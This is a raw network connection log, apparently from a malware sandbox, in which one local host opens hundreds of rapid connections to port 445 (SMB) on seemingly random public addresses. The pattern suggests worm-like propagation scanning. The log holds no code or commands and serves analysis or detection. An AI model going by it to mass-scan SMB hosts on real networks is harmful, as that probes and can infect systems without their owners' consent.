Dec 22, 2022 10:05:30.561558962 CET	53647	445	192.168.2.6	100.114.134.215
Dec 22, 2022 10:05:30.561675072 CET	53649	445	192.168.2.6	185.119.38.42
Dec 22, 2022 10:05:30.561743975 CET	53650	445	192.168.2.6	11.193.108.26
Dec 22, 2022 10:05:30.561769962 CET	53651	445	192.168.2.6	27.164.7.222
Dec 22, 2022 10:05:31.246720076 CET	53654	445	192.168.2.6	176.210.131.44
Dec 22, 2022 10:05:31.340491056 CET	53655	445	192.168.2.6	207.144.167.86
Dec 22, 2022 10:05:31.353071928 CET	445	53654	176.210.131.44	192.168.2.6
Dec 22, 2022 10:05:31.353315115 CET	53654	445	192.168.2.6	176.210.131.44
Dec 22, 2022 10:05:31.353379965 CET	53654	445	192.168.2.6	176.210.131.44
Dec 22, 2022 10:05:31.388447046 CET	53658	445	192.168.2.6	136.49.135.49
Dec 22, 2022 10:05:31.389055014 CET	53659	445	192.168.2.6	70.43.138.110
Dec 22, 2022 10:05:31.389643908 CET	53660	445	192.168.2.6	8.149.119.109
Dec 22, 2022 10:05:31.390186071 CET	53661	445	192.168.2.6	106.164.213.76
Dec 22, 2022 10:05:31.390815020 CET	53662	445	192.168.2.6	48.221.109.250
Dec 22, 2022 10:05:31.391002893 CET	53663	445	192.168.2.6	182.49.234.144
Dec 22, 2022 10:05:31.461034060 CET	445	53654	176.210.131.44	192.168.2.6
Dec 22, 2022 10:05:31.464972019 CET	445	53654	176.210.131.44	192.168.2.6
Dec 22, 2022 10:05:31.466368914 CET	53654	445	192.168.2.6	176.210.131.44
Dec 22, 2022 10:05:31.573029995 CET	445	53654	176.210.131.44	192.168.2.6
Dec 22, 2022 10:05:31.573271990 CET	53654	445	192.168.2.6	176.210.131.44
Dec 22, 2022 10:05:31.669311047 CET	53677	445	192.168.2.6	132.41.147.249
Dec 22, 2022 10:05:31.669658899 CET	53678	445	192.168.2.6	51.43.173.110
Dec 22, 2022 10:05:31.669878960 CET	53679	445	192.168.2.6	65.34.197.15
Dec 22, 2022 10:05:31.670171022 CET	53680	445	192.168.2.6	210.52.254.47
Dec 22, 2022 10:05:31.671247005 CET	53684	445	192.168.2.6	28.17.124.130
Dec 22, 2022 10:05:31.671703100 CET	53685	445	192.168.2.6	97.25.13.124
Dec 22, 2022 10:05:31.672399044 CET	53687	445	192.168.2.6	131.3.249.188
Dec 22, 2022 10:05:31.672835112 CET	53689	445	192.168.2.6	41.238.32.185
Dec 22, 2022 10:05:31.674098969 CET	53692	445	192.168.2.6	219.12.214.231
Dec 22, 2022 10:05:31.674310923 CET	53693	445	192.168.2.6	170.123.185.178
Dec 22, 2022 10:05:31.674794912 CET	53695	445	192.168.2.6	85.96.137.84
Dec 22, 2022 10:05:31.675070047 CET	53698	445	192.168.2.6	138.189.43.24
Dec 22, 2022 10:05:31.675508976 CET	53704	445	192.168.2.6	203.220.146.19
Dec 22, 2022 10:05:31.675622940 CET	53705	445	192.168.2.6	94.126.62.254
Dec 22, 2022 10:05:31.675858974 CET	53706	445	192.168.2.6	74.228.163.71
Dec 22, 2022 10:05:31.676028967 CET	53707	445	192.168.2.6	198.28.251.97
Dec 22, 2022 10:05:31.676762104 CET	53708	445	192.168.2.6	93.122.89.183
Dec 22, 2022 10:05:31.677233934 CET	53709	445	192.168.2.6	75.30.242.241
Dec 22, 2022 10:05:31.677529097 CET	53711	445	192.168.2.6	70.31.129.246
Dec 22, 2022 10:05:31.677661896 CET	53712	445	192.168.2.6	82.157.71.80
Dec 22, 2022 10:05:31.677814960 CET	53713	445	192.168.2.6	199.64.230.4
Dec 22, 2022 10:05:31.678061962 CET	53714	445	192.168.2.6	45.63.52.68
Dec 22, 2022 10:05:31.678275108 CET	53715	445	192.168.2.6	214.113.94.2
Dec 22, 2022 10:05:31.681066990 CET	445	53654	176.210.131.44	192.168.2.6
Dec 22, 2022 10:05:31.681271076 CET	53654	445	192.168.2.6	176.210.131.44
Dec 22, 2022 10:05:31.768240929 CET	445	53689	41.238.32.185	192.168.2.6
Dec 22, 2022 10:05:31.789022923 CET	445	53654	176.210.131.44	192.168.2.6
Dec 22, 2022 10:05:31.789673090 CET	53654	445	192.168.2.6	176.210.131.44
Dec 22, 2022 10:05:31.843087912 CET	53717	445	192.168.2.6	176.210.131.45
Dec 22, 2022 10:05:31.896997929 CET	445	53654	176.210.131.44	192.168.2.6
Dec 22, 2022 10:05:31.897099972 CET	53654	445	192.168.2.6	176.210.131.44
Dec 22, 2022 10:05:31.950186014 CET	445	53717	176.210.131.45	192.168.2.6
Dec 22, 2022 10:05:31.951721907 CET	53717	445	192.168.2.6	176.210.131.45
Dec 22, 2022 10:05:31.951955080 CET	53717	445	192.168.2.6	176.210.131.45
Dec 22, 2022 10:05:31.952343941 CET	53718	445	192.168.2.6	176.210.131.45
Dec 22, 2022 10:05:32.056464911 CET	445	53717	176.210.131.45	192.168.2.6
Dec 22, 2022 10:05:32.056996107 CET	445	53718	176.210.131.45	192.168.2.6
Dec 22, 2022 10:05:32.057099104 CET	53718	445	192.168.2.6	176.210.131.45
Dec 22, 2022 10:05:32.057204008 CET	53718	445	192.168.2.6	176.210.131.45
Dec 22, 2022 10:05:32.064146042 CET	445	53717	176.210.131.45	192.168.2.6
Dec 22, 2022 10:05:32.064285994 CET	53717	445	192.168.2.6	176.210.131.45
Dec 22, 2022 10:05:32.162072897 CET	445	53718	176.210.131.45	192.168.2.6
Dec 22, 2022 10:05:32.169467926 CET	445	53718	176.210.131.45	192.168.2.6
Dec 22, 2022 10:05:32.169656992 CET	53718	445	192.168.2.6	176.210.131.45
Dec 22, 2022 10:05:32.277802944 CET	53689	445	192.168.2.6	41.238.32.185
Dec 22, 2022 10:05:32.278027058 CET	445	53718	176.210.131.45	192.168.2.6
Dec 22, 2022 10:05:32.279824018 CET	53718	445	192.168.2.6	176.210.131.45
Dec 22, 2022 10:05:32.372453928 CET	445	53689	41.238.32.185	192.168.2.6
Dec 22, 2022 10:05:32.386256933 CET	445	53718	176.210.131.45	192.168.2.6
Dec 22, 2022 10:05:32.386742115 CET	53718	445	192.168.2.6	176.210.131.45
Dec 22, 2022 10:05:32.454757929 CET	53721	445	192.168.2.6	76.141.199.154
Dec 22, 2022 10:05:32.491919041 CET	445	53718	176.210.131.45	192.168.2.6
Dec 22, 2022 10:05:32.492060900 CET	53718	445	192.168.2.6	176.210.131.45
Dec 22, 2022 10:05:32.501477957 CET	53724	445	192.168.2.6	96.102.39.52
Dec 22, 2022 10:05:32.505788088 CET	53736	445	192.168.2.6	211.110.218.5
Dec 22, 2022 10:05:32.506067991 CET	53738	445	192.168.2.6	13.123.232.76
Dec 22, 2022 10:05:32.506087065 CET	53737	445	192.168.2.6	41.78.170.72
Dec 22, 2022 10:05:32.506179094 CET	53739	445	192.168.2.6	219.160.227.53
Dec 22, 2022 10:05:32.506342888 CET	53740	445	192.168.2.6	213.250.136.191
Dec 22, 2022 10:05:32.602425098 CET	445	53718	176.210.131.45	192.168.2.6
Dec 22, 2022 10:05:32.602524042 CET	53718	445	192.168.2.6	176.210.131.45
Dec 22, 2022 10:05:32.794806004 CET	53743	445	192.168.2.6	16.172.57.69
Dec 22, 2022 10:05:32.794960022 CET	53744	445	192.168.2.6	89.139.83.18
Dec 22, 2022 10:05:32.795147896 CET	53745	445	192.168.2.6	71.104.148.146
Dec 22, 2022 10:05:32.795241117 CET	53746	445	192.168.2.6	125.4.94.206
Dec 22, 2022 10:05:32.795310020 CET	53747	445	192.168.2.6	185.111.114.32
Dec 22, 2022 10:05:32.795947075 CET	53749	445	192.168.2.6	64.210.72.142
Dec 22, 2022 10:05:32.796180010 CET	53750	445	192.168.2.6	98.214.74.212
Dec 22, 2022 10:05:32.796291113 CET	53751	445	192.168.2.6	1.13.24.68
Dec 22, 2022 10:05:32.796370029 CET	53752	445	192.168.2.6	178.161.115.52
Dec 22, 2022 10:05:32.796550035 CET	53753	445	192.168.2.6	61.13.155.230
Dec 22, 2022 10:05:32.796550035 CET	53754	445	192.168.2.6	223.60.21.224
Dec 22, 2022 10:05:32.797158003 CET	53760	445	192.168.2.6	178.162.168.62
Dec 22, 2022 10:05:32.797395945 CET	53763	445	192.168.2.6	145.121.135.114
Dec 22, 2022 10:05:32.798636913 CET	53765	445	192.168.2.6	135.140.89.0
Dec 22, 2022 10:05:32.798824072 CET	53766	445	192.168.2.6	52.205.162.156
Dec 22, 2022 10:05:32.806437969 CET	53768	445	192.168.2.6	48.7.110.95
Dec 22, 2022 10:05:32.807001114 CET	53772	445	192.168.2.6	77.254.77.81
Dec 22, 2022 10:05:32.807130098 CET	53774	445	192.168.2.6	214.110.211.26
Dec 22, 2022 10:05:32.807130098 CET	53773	445	192.168.2.6	50.180.84.249
Dec 22, 2022 10:05:32.807271004 CET	53775	445	192.168.2.6	110.108.39.223
Dec 22, 2022 10:05:32.807394028 CET	53779	445	192.168.2.6	14.227.133.95
Dec 22, 2022 10:05:32.807539940 CET	53780	445	192.168.2.6	136.144.8.224
Dec 22, 2022 10:05:32.807583094 CET	53781	445	192.168.2.6	184.0.86.125
Dec 22, 2022 10:05:32.850027084 CET	445	53772	77.254.77.81	192.168.2.6
Dec 22, 2022 10:05:33.356066942 CET	53772	445	192.168.2.6	77.254.77.81
Dec 22, 2022 10:05:33.389523029 CET	53785	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:33.399605989 CET	445	53772	77.254.77.81	192.168.2.6
Dec 22, 2022 10:05:33.424122095 CET	445	53785	84.6.126.1	192.168.2.6
Dec 22, 2022 10:05:33.424326897 CET	53785	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:33.424407005 CET	53785	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:33.642312050 CET	53786	445	192.168.2.6	190.245.124.55
Dec 22, 2022 10:05:33.643407106 CET	53788	445	192.168.2.6	173.84.85.5
Dec 22, 2022 10:05:33.645061970 CET	53800	445	192.168.2.6	168.160.234.153
Dec 22, 2022 10:05:33.645749092 CET	53801	445	192.168.2.6	177.234.10.15
Dec 22, 2022 10:05:33.647330999 CET	53803	445	192.168.2.6	202.154.51.167
Dec 22, 2022 10:05:33.647919893 CET	53804	445	192.168.2.6	138.233.135.74
Dec 22, 2022 10:05:33.647975922 CET	53805	445	192.168.2.6	105.31.79.243
Dec 22, 2022 10:05:33.674673080 CET	53785	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:33.919677973 CET	53808	445	192.168.2.6	160.219.42.121
Dec 22, 2022 10:05:33.919806004 CET	53809	445	192.168.2.6	140.239.60.134
Dec 22, 2022 10:05:33.920057058 CET	53810	445	192.168.2.6	184.239.155.57
Dec 22, 2022 10:05:33.920130014 CET	53811	445	192.168.2.6	154.42.227.228
Dec 22, 2022 10:05:33.920222998 CET	53812	445	192.168.2.6	6.154.242.92
Dec 22, 2022 10:05:33.920770884 CET	53814	445	192.168.2.6	63.190.190.20
Dec 22, 2022 10:05:33.921010971 CET	53815	445	192.168.2.6	14.150.230.155
Dec 22, 2022 10:05:33.921214104 CET	53816	445	192.168.2.6	90.42.239.86
Dec 22, 2022 10:05:33.921279907 CET	53817	445	192.168.2.6	208.196.195.94
Dec 22, 2022 10:05:33.921365023 CET	53818	445	192.168.2.6	142.82.78.213
Dec 22, 2022 10:05:33.921463013 CET	53819	445	192.168.2.6	50.26.56.157
Dec 22, 2022 10:05:33.922030926 CET	53825	445	192.168.2.6	12.230.227.140
Dec 22, 2022 10:05:33.925462008 CET	53831	445	192.168.2.6	124.40.240.5
Dec 22, 2022 10:05:33.925462008 CET	53845	445	192.168.2.6	21.224.146.23
Dec 22, 2022 10:05:33.925466061 CET	53833	445	192.168.2.6	192.242.78.227
Dec 22, 2022 10:05:33.925467014 CET	53828	445	192.168.2.6	161.107.222.109
Dec 22, 2022 10:05:33.925471067 CET	53830	445	192.168.2.6	34.179.55.179
Dec 22, 2022 10:05:33.925472021 CET	53838	445	192.168.2.6	70.132.96.8
Dec 22, 2022 10:05:33.925471067 CET	53843	445	192.168.2.6	62.11.209.56
Dec 22, 2022 10:05:33.925473928 CET	53837	445	192.168.2.6	123.108.126.157
Dec 22, 2022 10:05:33.925471067 CET	53846	445	192.168.2.6	45.152.215.75
Dec 22, 2022 10:05:33.925473928 CET	53839	445	192.168.2.6	124.180.161.121
Dec 22, 2022 10:05:33.925471067 CET	53841	445	192.168.2.6	123.119.8.146
Dec 22, 2022 10:05:33.981128931 CET	53785	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:34.553303957 CET	445	53562	199.235.26.126	192.168.2.6
Dec 22, 2022 10:05:34.590610981 CET	53785	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:34.749000072 CET	53853	445	192.168.2.6	17.161.72.236
Dec 22, 2022 10:05:34.749007940 CET	53851	445	192.168.2.6	29.56.117.60
Dec 22, 2022 10:05:34.749608040 CET	53854	445	192.168.2.6	219.148.131.34
Dec 22, 2022 10:05:34.750883102 CET	53866	445	192.168.2.6	4.82.107.208
Dec 22, 2022 10:05:34.751740932 CET	53868	445	192.168.2.6	215.21.136.87
Dec 22, 2022 10:05:34.752083063 CET	53869	445	192.168.2.6	171.186.244.44
Dec 22, 2022 10:05:34.752109051 CET	53870	445	192.168.2.6	62.214.218.226
Dec 22, 2022 10:05:35.038269043 CET	53873	445	192.168.2.6	10.166.235.187
Dec 22, 2022 10:05:35.038480043 CET	53874	445	192.168.2.6	145.52.83.71
Dec 22, 2022 10:05:35.038572073 CET	53875	445	192.168.2.6	198.183.61.24
Dec 22, 2022 10:05:35.038716078 CET	53876	445	192.168.2.6	99.182.37.194
Dec 22, 2022 10:05:35.038929939 CET	53877	445	192.168.2.6	9.221.65.53
Dec 22, 2022 10:05:35.040674925 CET	53879	445	192.168.2.6	58.182.44.183
Dec 22, 2022 10:05:35.041371107 CET	53880	445	192.168.2.6	25.210.15.23
Dec 22, 2022 10:05:35.041520119 CET	53881	445	192.168.2.6	110.49.99.3
Dec 22, 2022 10:05:35.041695118 CET	53882	445	192.168.2.6	158.220.144.25
Dec 22, 2022 10:05:35.041956902 CET	53884	445	192.168.2.6	162.167.139.155
Dec 22, 2022 10:05:35.042009115 CET	53883	445	192.168.2.6	14.173.188.65
Dec 22, 2022 10:05:35.042511940 CET	53890	445	192.168.2.6	107.240.90.85
Dec 22, 2022 10:05:35.042757034 CET	53893	445	192.168.2.6	131.62.222.231
Dec 22, 2022 10:05:35.043071032 CET	53895	445	192.168.2.6	86.215.244.208
Dec 22, 2022 10:05:35.043127060 CET	53896	445	192.168.2.6	101.200.147.210
Dec 22, 2022 10:05:35.043302059 CET	53898	445	192.168.2.6	187.120.31.46
Dec 22, 2022 10:05:35.057260036 CET	53902	445	192.168.2.6	175.95.8.84
Dec 22, 2022 10:05:35.057538986 CET	53903	445	192.168.2.6	223.191.244.163
Dec 22, 2022 10:05:35.057673931 CET	53904	445	192.168.2.6	17.247.102.193
Dec 22, 2022 10:05:35.057876110 CET	53906	445	192.168.2.6	60.176.251.127
Dec 22, 2022 10:05:35.058109999 CET	53908	445	192.168.2.6	17.126.3.105
Dec 22, 2022 10:05:35.058265924 CET	53910	445	192.168.2.6	55.147.229.44
Dec 22, 2022 10:05:35.058355093 CET	53911	445	192.168.2.6	94.140.137.171
Dec 22, 2022 10:05:35.498229980 CET	53915	445	192.168.2.6	176.210.131.45
Dec 22, 2022 10:05:35.606506109 CET	445	53915	176.210.131.45	192.168.2.6
Dec 22, 2022 10:05:35.606627941 CET	53915	445	192.168.2.6	176.210.131.45
Dec 22, 2022 10:05:35.606730938 CET	53915	445	192.168.2.6	176.210.131.45
Dec 22, 2022 10:05:35.714416027 CET	445	53915	176.210.131.45	192.168.2.6
Dec 22, 2022 10:05:35.722383022 CET	445	53915	176.210.131.45	192.168.2.6
Dec 22, 2022 10:05:35.724169970 CET	53915	445	192.168.2.6	176.210.131.45
Dec 22, 2022 10:05:35.791686058 CET	53785	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:35.834460020 CET	445	53915	176.210.131.45	192.168.2.6
Dec 22, 2022 10:05:35.841306925 CET	53915	445	192.168.2.6	176.210.131.45
Dec 22, 2022 10:05:35.872685909 CET	53917	445	192.168.2.6	78.10.155.202
Dec 22, 2022 10:05:35.874025106 CET	53930	445	192.168.2.6	97.246.118.198
Dec 22, 2022 10:05:35.875749111 CET	53932	445	192.168.2.6	42.235.54.61
Dec 22, 2022 10:05:35.876516104 CET	53933	445	192.168.2.6	184.222.52.153
Dec 22, 2022 10:05:35.876538038 CET	53934	445	192.168.2.6	5.13.149.130
Dec 22, 2022 10:05:35.876606941 CET	53935	445	192.168.2.6	88.10.163.93
Dec 22, 2022 10:05:35.876641989 CET	53936	445	192.168.2.6	62.46.230.139
Dec 22, 2022 10:05:35.950359106 CET	445	53915	176.210.131.45	192.168.2.6
Dec 22, 2022 10:05:35.953380108 CET	53915	445	192.168.2.6	176.210.131.45
Dec 22, 2022 10:05:36.062355042 CET	445	53915	176.210.131.45	192.168.2.6
Dec 22, 2022 10:05:36.062823057 CET	53915	445	192.168.2.6	176.210.131.45
Dec 22, 2022 10:05:36.132435083 CET	53939	445	192.168.2.6	176.210.131.46
Dec 22, 2022 10:05:36.153892040 CET	53941	445	192.168.2.6	196.252.216.178
Dec 22, 2022 10:05:36.154292107 CET	53945	445	192.168.2.6	20.166.229.186
Dec 22, 2022 10:05:36.154376030 CET	53946	445	192.168.2.6	17.156.89.61
Dec 22, 2022 10:05:36.154470921 CET	53947	445	192.168.2.6	55.110.138.14
Dec 22, 2022 10:05:36.154556036 CET	53948	445	192.168.2.6	11.232.52.59
Dec 22, 2022 10:05:36.154643059 CET	53949	445	192.168.2.6	24.147.49.21
Dec 22, 2022 10:05:36.155204058 CET	53951	445	192.168.2.6	34.109.210.166
Dec 22, 2022 10:05:36.155363083 CET	53952	445	192.168.2.6	160.94.164.221
Dec 22, 2022 10:05:36.155473948 CET	53953	445	192.168.2.6	207.30.183.91
Dec 22, 2022 10:05:36.155622959 CET	53954	445	192.168.2.6	176.251.49.161
Dec 22, 2022 10:05:36.155674934 CET	53955	445	192.168.2.6	152.197.240.180
Dec 22, 2022 10:05:36.155756950 CET	53956	445	192.168.2.6	143.176.121.136
Dec 22, 2022 10:05:36.156194925 CET	53962	445	192.168.2.6	48.215.152.90
Dec 22, 2022 10:05:36.156423092 CET	53965	445	192.168.2.6	207.244.127.101
Dec 22, 2022 10:05:36.156574965 CET	53967	445	192.168.2.6	87.61.117.79
Dec 22, 2022 10:05:36.156656981 CET	53968	445	192.168.2.6	150.41.242.199
Dec 22, 2022 10:05:36.170411110 CET	445	53915	176.210.131.45	192.168.2.6
Dec 22, 2022 10:05:36.170484066 CET	53915	445	192.168.2.6	176.210.131.45
Dec 22, 2022 10:05:36.172036886 CET	53969	445	192.168.2.6	184.104.219.163
Dec 22, 2022 10:05:36.172152996 CET	53970	445	192.168.2.6	214.143.137.177
Dec 22, 2022 10:05:36.172241926 CET	53971	445	192.168.2.6	214.106.6.36
Dec 22, 2022 10:05:36.172411919 CET	53973	445	192.168.2.6	216.156.42.140
Dec 22, 2022 10:05:36.172660112 CET	53975	445	192.168.2.6	3.90.173.29
Dec 22, 2022 10:05:36.172741890 CET	53976	445	192.168.2.6	69.24.124.93
Dec 22, 2022 10:05:36.172904968 CET	53978	445	192.168.2.6	125.27.221.242
Dec 22, 2022 10:05:36.346308947 CET	445	53978	125.27.221.242	192.168.2.6
Dec 22, 2022 10:05:36.851794958 CET	53978	445	192.168.2.6	125.27.221.242
Dec 22, 2022 10:05:36.993230104 CET	53985	445	192.168.2.6	17.10.113.36
Dec 22, 2022 10:05:36.993952036 CET	53997	445	192.168.2.6	137.209.17.111
Dec 22, 2022 10:05:37.012435913 CET	53999	445	192.168.2.6	60.223.134.11
Dec 22, 2022 10:05:37.013375044 CET	54000	445	192.168.2.6	8.18.225.194
Dec 22, 2022 10:05:37.025383949 CET	445	53978	125.27.221.242	192.168.2.6
Dec 22, 2022 10:05:37.034657955 CET	54001	445	192.168.2.6	162.198.146.4
Dec 22, 2022 10:05:37.034729958 CET	54002	445	192.168.2.6	196.193.211.21
Dec 22, 2022 10:05:37.034796000 CET	54003	445	192.168.2.6	7.213.228.185
Dec 22, 2022 10:05:37.216126919 CET	54004	445	192.168.2.6	176.210.131.47
Dec 22, 2022 10:05:37.296258926 CET	54007	445	192.168.2.6	180.196.54.19
Dec 22, 2022 10:05:37.296448946 CET	54009	445	192.168.2.6	187.142.47.74
Dec 22, 2022 10:05:37.296570063 CET	54010	445	192.168.2.6	158.88.127.98
Dec 22, 2022 10:05:37.296726942 CET	54012	445	192.168.2.6	29.91.56.222
Dec 22, 2022 10:05:37.296890020 CET	54014	445	192.168.2.6	219.252.99.181
Dec 22, 2022 10:05:37.296973944 CET	54015	445	192.168.2.6	151.154.39.7
Dec 22, 2022 10:05:37.297080040 CET	54016	445	192.168.2.6	116.5.20.100
Dec 22, 2022 10:05:37.297194004 CET	54017	445	192.168.2.6	134.16.184.192
Dec 22, 2022 10:05:37.297281981 CET	54018	445	192.168.2.6	150.156.246.134
Dec 22, 2022 10:05:37.297451019 CET	54020	445	192.168.2.6	211.84.150.89
Dec 22, 2022 10:05:37.297677040 CET	54023	445	192.168.2.6	155.23.18.115
Dec 22, 2022 10:05:37.298156023 CET	54029	445	192.168.2.6	218.113.128.115
Dec 22, 2022 10:05:37.298244953 CET	54030	445	192.168.2.6	180.10.137.155
Dec 22, 2022 10:05:37.298329115 CET	54031	445	192.168.2.6	170.215.188.201
Dec 22, 2022 10:05:37.298418999 CET	54032	445	192.168.2.6	128.142.15.237
Dec 22, 2022 10:05:37.298532009 CET	54033	445	192.168.2.6	78.207.223.171
Dec 22, 2022 10:05:37.298994064 CET	54034	445	192.168.2.6	12.171.254.71
Dec 22, 2022 10:05:37.299205065 CET	54036	445	192.168.2.6	102.251.138.77
Dec 22, 2022 10:05:37.299294949 CET	54037	445	192.168.2.6	193.40.102.78
Dec 22, 2022 10:05:37.299387932 CET	54038	445	192.168.2.6	186.143.240.96
Dec 22, 2022 10:05:37.299467087 CET	54039	445	192.168.2.6	126.46.224.127
Dec 22, 2022 10:05:37.299552917 CET	54040	445	192.168.2.6	172.11.237.230
Dec 22, 2022 10:05:37.299890041 CET	54044	445	192.168.2.6	164.134.184.80
Dec 22, 2022 10:05:38.123013020 CET	54051	445	192.168.2.6	55.119.129.137
Dec 22, 2022 10:05:38.124864101 CET	54064	445	192.168.2.6	75.23.156.210
Dec 22, 2022 10:05:38.143981934 CET	54066	445	192.168.2.6	19.195.149.102
Dec 22, 2022 10:05:38.163506031 CET	54067	445	192.168.2.6	160.9.67.184
Dec 22, 2022 10:05:38.168867111 CET	54068	445	192.168.2.6	217.139.81.59
Dec 22, 2022 10:05:38.169343948 CET	54069	445	192.168.2.6	157.13.213.60
Dec 22, 2022 10:05:38.169404030 CET	54070	445	192.168.2.6	112.69.120.224
Dec 22, 2022 10:05:38.202392101 CET	53785	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:38.283504963 CET	54071	445	192.168.2.6	176.210.131.48
Dec 22, 2022 10:05:38.397670984 CET	445	54071	176.210.131.48	192.168.2.6
Dec 22, 2022 10:05:38.397866964 CET	54071	445	192.168.2.6	176.210.131.48
Dec 22, 2022 10:05:38.398050070 CET	54071	445	192.168.2.6	176.210.131.48
Dec 22, 2022 10:05:38.398467064 CET	54075	445	192.168.2.6	176.210.131.48
Dec 22, 2022 10:05:38.407790899 CET	54079	445	192.168.2.6	155.151.208.180
Dec 22, 2022 10:05:38.408153057 CET	54081	445	192.168.2.6	103.125.179.243
Dec 22, 2022 10:05:38.408308029 CET	54083	445	192.168.2.6	125.201.10.244
Dec 22, 2022 10:05:38.408411026 CET	54085	445	192.168.2.6	107.180.232.84
Dec 22, 2022 10:05:38.408441067 CET	54086	445	192.168.2.6	191.92.246.250
Dec 22, 2022 10:05:38.408520937 CET	54087	445	192.168.2.6	54.250.162.160
Dec 22, 2022 10:05:38.408554077 CET	54088	445	192.168.2.6	99.27.58.179
Dec 22, 2022 10:05:38.408673048 CET	54090	445	192.168.2.6	170.132.41.91
Dec 22, 2022 10:05:38.408741951 CET	54091	445	192.168.2.6	200.184.89.87
Dec 22, 2022 10:05:38.408845901 CET	54093	445	192.168.2.6	87.79.54.156
Dec 22, 2022 10:05:38.408871889 CET	54094	445	192.168.2.6	120.66.54.145
Dec 22, 2022 10:05:38.408984900 CET	54096	445	192.168.2.6	73.207.93.45
Dec 22, 2022 10:05:38.409117937 CET	54098	445	192.168.2.6	147.70.110.4
Dec 22, 2022 10:05:38.409162045 CET	54099	445	192.168.2.6	144.4.133.205
Dec 22, 2022 10:05:38.409210920 CET	54100	445	192.168.2.6	146.199.207.128
Dec 22, 2022 10:05:38.409296989 CET	54101	445	192.168.2.6	65.129.145.57
Dec 22, 2022 10:05:38.409456968 CET	54103	445	192.168.2.6	50.88.40.252
Dec 22, 2022 10:05:38.409559965 CET	54104	445	192.168.2.6	192.82.26.237
Dec 22, 2022 10:05:38.409655094 CET	54106	445	192.168.2.6	211.115.112.249
Dec 22, 2022 10:05:38.409746885 CET	54107	445	192.168.2.6	131.76.226.149
Dec 22, 2022 10:05:38.409830093 CET	54105	445	192.168.2.6	31.30.108.21
Dec 22, 2022 10:05:38.409831047 CET	54108	445	192.168.2.6	143.109.30.45
Dec 22, 2022 10:05:38.410052061 CET	54112	445	192.168.2.6	57.38.59.17
Dec 22, 2022 10:05:38.505316019 CET	445	54075	176.210.131.48	192.168.2.6
Dec 22, 2022 10:05:38.505439997 CET	54075	445	192.168.2.6	176.210.131.48
Dec 22, 2022 10:05:38.505477905 CET	54075	445	192.168.2.6	176.210.131.48
Dec 22, 2022 10:05:38.505530119 CET	445	54071	176.210.131.48	192.168.2.6
Dec 22, 2022 10:05:38.513650894 CET	445	54071	176.210.131.48	192.168.2.6
Dec 22, 2022 10:05:38.513839960 CET	54071	445	192.168.2.6	176.210.131.48
Dec 22, 2022 10:05:38.613265991 CET	445	54075	176.210.131.48	192.168.2.6
Dec 22, 2022 10:05:38.621303082 CET	445	54075	176.210.131.48	192.168.2.6
Dec 22, 2022 10:05:38.621454000 CET	54075	445	192.168.2.6	176.210.131.48
Dec 22, 2022 10:05:38.733355045 CET	445	54075	176.210.131.48	192.168.2.6
Dec 22, 2022 10:05:38.733525038 CET	54075	445	192.168.2.6	176.210.131.48
Dec 22, 2022 10:05:38.841361046 CET	445	54075	176.210.131.48	192.168.2.6
Dec 22, 2022 10:05:38.841542006 CET	54075	445	192.168.2.6	176.210.131.48
Dec 22, 2022 10:05:38.949218988 CET	445	54075	176.210.131.48	192.168.2.6
Dec 22, 2022 10:05:38.949320078 CET	54075	445	192.168.2.6	176.210.131.48
Dec 22, 2022 10:05:39.061371088 CET	445	54075	176.210.131.48	192.168.2.6
Dec 22, 2022 10:05:39.062494040 CET	54075	445	192.168.2.6	176.210.131.48
Dec 22, 2022 10:05:39.438931942 CET	54121	445	192.168.2.6	135.224.161.19
Dec 22, 2022 10:05:39.441617012 CET	54122	445	192.168.2.6	218.204.32.129
Dec 22, 2022 10:05:39.441886902 CET	54124	445	192.168.2.6	93.52.28.21
Dec 22, 2022 10:05:39.443223953 CET	54136	445	192.168.2.6	163.186.48.188
Dec 22, 2022 10:05:39.443691015 CET	54137	445	192.168.2.6	26.151.236.3
Dec 22, 2022 10:05:39.444164038 CET	54138	445	192.168.2.6	202.223.67.249
Dec 22, 2022 10:05:39.444628954 CET	54139	445	192.168.2.6	130.84.194.54
Dec 22, 2022 10:05:39.599760056 CET	54140	445	192.168.2.6	62.197.31.25
Dec 22, 2022 10:05:39.600079060 CET	54142	445	192.168.2.6	182.238.102.126
Dec 22, 2022 10:05:39.600198984 CET	54143	445	192.168.2.6	51.132.42.232
Dec 22, 2022 10:05:39.600426912 CET	54145	445	192.168.2.6	102.231.231.50
Dec 22, 2022 10:05:39.600537062 CET	54146	445	192.168.2.6	218.144.2.207
Dec 22, 2022 10:05:39.600763083 CET	54148	445	192.168.2.6	210.211.190.65
Dec 22, 2022 10:05:39.601016045 CET	54150	445	192.168.2.6	53.222.114.135
Dec 22, 2022 10:05:39.601099014 CET	54151	445	192.168.2.6	54.141.246.5
Dec 22, 2022 10:05:39.601296902 CET	54152	445	192.168.2.6	44.234.100.171
Dec 22, 2022 10:05:39.601315975 CET	54153	445	192.168.2.6	25.112.199.36
Dec 22, 2022 10:05:39.601596117 CET	54155	445	192.168.2.6	221.245.37.30
Dec 22, 2022 10:05:39.601680994 CET	54156	445	192.168.2.6	28.189.29.210
Dec 22, 2022 10:05:39.601794958 CET	54157	445	192.168.2.6	173.113.46.105
Dec 22, 2022 10:05:39.601968050 CET	54158	445	192.168.2.6	214.44.9.154
Dec 22, 2022 10:05:39.602510929 CET	54159	445	192.168.2.6	36.55.240.253
Dec 22, 2022 10:05:39.602658987 CET	54160	445	192.168.2.6	77.114.47.204
Dec 22, 2022 10:05:39.603049040 CET	54164	445	192.168.2.6	51.141.60.23
Dec 22, 2022 10:05:39.603550911 CET	54170	445	192.168.2.6	12.208.117.10
Dec 22, 2022 10:05:39.603669882 CET	54171	445	192.168.2.6	139.153.141.144
Dec 22, 2022 10:05:39.604084969 CET	54175	445	192.168.2.6	210.13.86.193
Dec 22, 2022 10:05:39.604245901 CET	54177	445	192.168.2.6	147.201.76.69
Dec 22, 2022 10:05:39.604556084 CET	54180	445	192.168.2.6	191.65.172.140
Dec 22, 2022 10:05:39.604685068 CET	54181	445	192.168.2.6	73.209.217.148
Dec 22, 2022 10:05:39.853295088 CET	54184	443	192.168.2.6	20.90.156.32
